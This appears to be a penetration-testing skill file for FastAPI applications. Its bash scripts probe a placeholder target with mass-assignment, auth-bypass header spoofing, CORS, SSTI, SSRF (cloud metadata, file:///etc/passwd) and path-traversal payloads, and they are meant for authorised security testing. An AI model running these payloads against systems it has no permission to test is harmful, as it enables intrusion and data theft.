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Use when assessing security for Python FastAPI applications. Focuses on Pydantic exploitation, dependency injection gaps, OpenAPI exposure, ASGI middleware security, and Python-specific vulnerabilities like template injection and SSRF.
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| Tool | Required | Fallback Chain | Install Command |
|---|---|---|---|
| curl | Yes | wget → python3 urllib | brew install curl / apt-get install curl |
| ffuf | Yes | gobuster → curl loop | brew install ffuf / apt-get install ffuf |
| nuclei | Yes | nikto → manual curl checklist | brew install nuclei / apt-get install nuclei |
| sqlmap | Optional | manual testing | brew install sqlmap / apt-get install sqlmap |
MANDATORY: All FastAPI testing commands MUST follow this protocol:
# Standard timeout for API calls (15 seconds)
run_with_timeout 15 curl -s https://api.target.com/docs
run_with_timeout 30 curl -s https://api.target.com/openapi.json
2. **Validate HTTP response before processing**
```bash
OUTPUT=$(timeout 15 curl -s -w "\n%{http_code}" https://api.target.com/docs 2>&1)
EXIT_CODE=$?
HTTP_CODE=$(echo "$OUTPUT" | tail -1)
BODY=$(echo "$OUTPUT" | head -n -1)
if [ $EXIT_CODE -eq 124 ]; then
echo "TOOL_FAILURE: curl timeout after 15 seconds"
# Retry with longer timeout
run_with_timeout 30 curl -s https://api.target.com/docs
elif [ $EXIT_CODE -ne 0 ]; then
echo "TOOL_FAILURE: curl failed with exit code $EXIT_CODE"
# Check if curl exists and try fallback
if ! command -v curl >/dev/null 2>&1; then
echo "FALLBACK: curl not found, using wget"
wget -q -O- https://api.target.com/docs
fi
fi
# Check HTTP status
case "$HTTP_CODE" in
200)
# Process successful response
;;
404)
echo "INFO: Endpoint not found (may not be FastAPI)"
;;
000)
echo "TOOL_FAILURE: Connection refused or timeout"
;;
esac
# Validate OpenAPI spec before using
OUTPUT=$(timeout 30 curl -s https://api.target.com/openapi.json 2>&1)
if echo "$OUTPUT" | rg -q '"openapi"|"swagger"'; then
echo "VALID: OpenAPI spec found"
# Count endpoints
ENDPOINT_COUNT=$(echo "$OUTPUT" | rg -o '"/api/[^"]*"' | wc -l)
echo "Found $ENDPOINT_COUNT endpoints"
elif [ -z "$OUTPUT" ]; then
echo "TOOL_FAILURE: Empty response from openapi.json"
# Try alternative endpoint
run_with_timeout 15 curl -s https://api.target.com/docs else echo "INFO: Not a standard OpenAPI response" fi
4. **Retry logic for fuzzing**
```bash
# When ffuf fails, retry with gobuster or manual curl
ffuf -u https://api.target.com/FUZZ -w wordlist.txt 2>/dev/null
if [ $? -ne 0 ]; then
echo "FALLBACK: ffuf failed, trying gobuster"
gobuster dir -u https://api.target.com -w wordlist.txt
if [ $? -ne 0 ]; then
echo "FALLBACK: Manual curl-based enumeration"
# Manual loop
fi
fi
FastAPI is a modern, high-performance web framework for building APIs with Python 3.7+ based on standard Python type hints. Its reliance on Pydantic for data validation and its dependency injection system introduces specific security vectors that testers must understand.
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X-Process-Time or the presence of /docs, /redoc endpoints)./docs, /redoc, /openapi.json).| Feature | Endpoint/Action | Example |
|---|---|---|
| Swagger UI | /docs | curl -s https://api.target.com/docs |
| ReDoc | /redoc | curl -s https://api.target.com/redoc |
| JSON Spec | /openapi.json | curl -s https://api.target.com/openapi.json |
| CORS | Check Headers | curl -I -H "Origin: https://evil.com" https://api.target.com/ |
CORSMiddleware, TrustedHostMiddleware, etc.TrustedHostMiddleware or trusting X-Forwarded-For without validation.UploadFile and File parameters.Pydantic's automatic type coercion can lead to unexpected behavior.
Type Coercion Attacks:
# Test type coercion with validation
curl -X POST https://api.target.com/items/123 \
-H "Content-Type: application/json" \
-d '{"id": 123, "quantity": "string_instead_of_int"}' \
-w "\n%{http_code}" -s
Union Type Confusion:
# Vulnerable model
class Item(BaseModel):
id: Union[int, str]
Sending an int when a str (like a UUID) is expected might bypass certain checks.
Extra Field Acceptance:
If Config.extra = "allow" is set, an attacker can inject arbitrary fields into models.
# Test for extra field acceptance with validation
PAYLOAD='{"id": 123, "is_admin": true}'
OUTPUT=$(timeout 15 curl -s -X POST \
-H "Content-Type: application/json" \
-d "$PAYLOAD" \
-w "\n%{http_code}" \
https://api.target.com/items/ 2>&1)
HTTP_CODE=$(echo "$OUTPUT" | tail -1)
BODY=$(echo "$OUTPUT" | head -n -1)
case "$HTTP_CODE" in
200|201)
if echo "$BODY" | rg -q '"is_admin".*true'; then
echo "CRITICAL: Mass assignment via extra field - is_admin accepted"
else
echo "INFO: Request accepted but extra field may have been ignored"
fi
;;
422)
echo "SECURE: Extra field properly rejected (Unprocessable Entity)"
;;
400)
echo "INFO: Bad Request (model validation rejected input)"
;;
*)
echo "INFO: Request returned HTTP $HTTP_CODE"
;;
esac
FastAPI's Depends() system is used for auth. Testers must check if all sensitive routes include the correct dependency.
Detection: Identify a route requiring auth, then find similar "internal" or "debug" routes that might have missed the dependency.
# Secure route
@app.get("/users/me", dependencies=[Depends(get_current_user)])
# Potentially vulnerable route
@app.get("/users/debug")
# Test for missing auth dependencies
ENDPOINTS=(
"/users/me"
"/users/debug"
"/users/all"
"/admin/settings"
"/debug/config"
)
for endpoint in "${ENDPOINTS[@]}"; do
OUTPUT=$(timeout 10 curl -s https://api.target.com$endpoint 2>&1)
EXIT_CODE=$?
if [ $EXIT_CODE -eq 124 ]; then
echo "TOOL_FAILURE: Timeout testing $endpoint"
continue
elif [ $EXIT_CODE -ne 0 ]; then
echo "INFO: Endpoint $endpoint returned error"
continue
fi
# Check if auth is required
if echo "$OUTPUT" | rg -q "401|403|Unauthorized|Forbidden"; then
echo "SECURE: $endpoint requires authentication"
elif echo "$OUTPUT" | rg -q "200|debug|config|admin"; then
echo "WARNING: $endpoint may be missing auth dependency"
echo "Response preview: $(echo "$OUTPUT" | head -c 200)"
fi
done
CORSMiddleware with allow_origins=["*"] is a common misconfiguration.
Detection:
# Test CORS with validation
ORIGINS=("https://malicious.com" "https://evil.com" "null")
for origin in "${ORIGINS[@]}"; do
OUTPUT=$(timeout 10 curl -s -I \
-H "Origin: $origin" \
https://api.target.com/api/v1/sensitive-data 2>&1)
if echo "$OUTPUT" | rg -i "access-control-allow-origin:.*$origin|access-control-allow-origin: \*"; then
echo "CRITICAL: CORS MISCONFIG - Origin '$origin' reflected in response"
echo "This allows CSRF attacks from malicious sites"
elif echo "$OUTPUT" | rg -i "access-control-allow-origin"; then
echo "INFO: CORS header present but origin may not be reflected"
else
echo "INFO: No CORS misconfiguration detected for $origin"
fi
done
If the app uses Request.client.host or trusts X-Forwarded-For without being behind a trusted proxy.
Detection:
# Test header injection with validation
HEADERS=(
"X-Forwarded-For: 127.0.0.1"
"X-Real-IP: 127.0.0.1"
"X-Forwaded-Host: admin.target.com"
"Host: admin.target.com"
)
for header in "${HEADERS[@]}"; do
OUTPUT=$(timeout 10 curl -s \
-H "$header" \
https://api.target.com/admin 2>&1)
if echo "$OUTPUT" | rg -q "admin|dashboard|success|welcome"; then
echo "CRITICAL: Header injection bypass - $header"
echo "Response: $(echo "$OUTPUT" | head -c 200)"
elif echo "$OUTPUT" | rg -q "401|403|forbidden|unauthorized"; then
echo "SECURE: Header $header properly ignored"
fi
done
If FastAPI is used with Jinja2Templates, look for standard SSTI vectors.
# Test for SSTI with validation
SSTI_PAYLOADS=(
"{{7*7}}"
"{{config}}"
"{{''.__class__}}"
"{{settings}}"
)
for payload in "${SSTI_PAYLOADS[@]}"; do
OUTPUT=$(timeout 10 curl -s "https://api.target.com/greet?name=$payload" 2>&1)
if echo "$OUTPUT" | rg -q "49"; then
echo "CRITICAL: SSTI CONFIRMED - Math expression evaluated (7*7=49)"
elif echo "$OUTPUT" | rg -q "<Config|EnvVar|module"; then
echo "CRITICAL: SSTI CONFIRMED - Python object exposed"
echo "Payload: $payload"
echo "Response: $(echo "$OUTPUT" | head -c 200)"
elif echo "$OUTPUT" | rg -q "$payload"; then
echo "INFO: Payload reflected but not evaluated (output escaped)"
fi
done
FastAPI apps often make backend calls using httpx. Look for parameters that control URLs.
# Test SSRF with validation
INTERNAL_TARGETS=(
"http://localhost:8080"
"http://127.0.0.1:6379" # Redis
"http://169.254.169.254/latest/meta-data/" # Cloud metadata
"file:///etc/passwd"
)
for target in "${INTERNAL_TARGETS[@]}"; do
OUTPUT=$(timeout 15 curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"callback_url\": \"$target\"}" \
-w "\n%{http_code}" \
https://api.target.com/process-webhook 2>&1)
HTTP_CODE=$(echo "$OUTPUT" | tail -1)
BODY=$(echo "$OUTPUT" | head -n -1)
case "$HTTP_CODE" in
200)
# Check if internal data leaked
if echo "$BODY" | rg -q "ami-|i-|instance|meta-data|root:|"; then
echo "CRITICAL: SSRF CONFIRMED - Internal data via: $target"
else
echo "INFO: Request accepted but unclear if SSRF succeeded"
fi
;;
400|404)
echo "INFO: Target URL rejected or endpoint not found"
;;
000)
echo "INFO: Connection timeout (may indicate SSRF attempt blocked)"
;;
*)
echo "INFO: SSRF test returned HTTP $HTTP_CODE"
;;
esac
done
Sub-apps mounted via app.mount("/sub", sub_app) might have different security policies.
# Test mounted app bypass
MOUNT_PATHS=(
"/sub/admin"
"/static/../api"
"/api//admin"
"/sub/../../admin"
)
for path in "${MOUNT_PATHS[@]}"; do
OUTPUT=$(timeout 10 curl -s https://api.target.com$path 2>&1)
if echo "$OUTPUT" | rg -q "admin|dashboard|config|secret"; then
echo "CRITICAL: Mount bypass - path traversal via $path"
echo "Response: $(echo "$OUTPUT" | head -c 200)"
elif echo "$OUTPUT" | rg -q "404|not found"; then
echo "INFO: Path $path not found"
fi
done
Information Gathering:
/docs, /redoc, or /openapi.json to map all endpoints.Parameter Fuzzing:
Authentication & Authorization:
Middleware & Header Testing:
X-Forwarded-For spoofing.Logic & Integration Testing:
SQLAlchemy or Tortoise-ORM with raw queries.Optional fields in Pydantic models; they are often the source of logic bugs when not handled properly in the code./openapi.json is exposed even if /docs is disabled.